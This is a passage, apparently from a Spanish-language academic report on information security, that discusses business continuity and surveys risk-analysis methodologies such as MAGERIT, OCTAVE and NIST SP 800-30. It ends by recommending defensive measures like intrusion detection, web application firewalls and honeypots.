de respuestas asertivas que logré minimizar o anular los efectos tanto econémicos
como reputacionales ante una amenaza que logre el cometido de vulnerar la
organizacion.

La continuidad es de vital importancia en las organizaciones ya que permite
identificar cuéles son los procesos mas relevantes, que se adapte a las
necesidades especificas y permitan a la empresa seguir ofreciendo sus servicios.
No tener en cuenta estos aspectos en una organizacion puede generar una
afectacidén de caracter catastrofico, en el peor de los casos incluso puede llevar a
la disoluciébn de la misma. Las metodologias de andlisis y gestion de riesgo
disponen de acciones estructuradas cuya finalidad es la identificacion, evaluacion
y tratamiento de los riesgos, logrando la toma de decisiones estrategias que
coadyuvare a las organizaciones. Entre las principales metodologias de analisis y
gestion de riesgos se encuentra, MAGERIT, OCTAVE, CRAMM, CORAS,
MEHARI, NIST SP 800-30, COBIT, entre otras.

Como por ejemplo la Metodologia de Analisis y Gestion de Riesgos de los
Sistemas de Informacion — MAGERIT, elaborado por el Consejo Superior de
Administracién Electrénica, tiene como objetivo de brindar herramientas para la
gestion de riegos a aquellas entidades privadas o publica que hacen unos de las
Tecnologias de la informacion y comunicacion — TIC. El propdsito de la
metodologia es dar credibilidad y confianza a las organizaciones a traves del
analisis y gestidon de riesgos en el marso de la gestion de seguridad de la
informacion como al igual brindar certificacion y acreditacion organizacional.
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De igual forma acatar las instrucciones de los reportes de politica de seguridad
enumerados en el del presente documento (Sistema de Deteccion de Intrusiones,
Gestion Unificada de Amenazas, Prevenir Denegacion de Servicios Distribuido,
configuracion correcta de seguridad, de componentes con vulnerabilidades
conocidas, Web Application Firewall, Honeypot, etc.) que tiene como fin minimizar
los riesgos informaticos en relacion a las vulnerabilidades halladas.

Estas acciones coadyuvan a la toma de decisiones en las entidades gracias al
aseguramiento de las politicas de Confidencialidad, Integridad y Disponibilidad de
la informacion, enfocandose precisamente en medida de proteccion adecuadas en
los sistemas de autenticacion, protocolos criptograficos, actualizaciones de
seguridad, configuraciones de seguridad informatica efectivas, disposicion de
sistemas de seguridad, entre otras.
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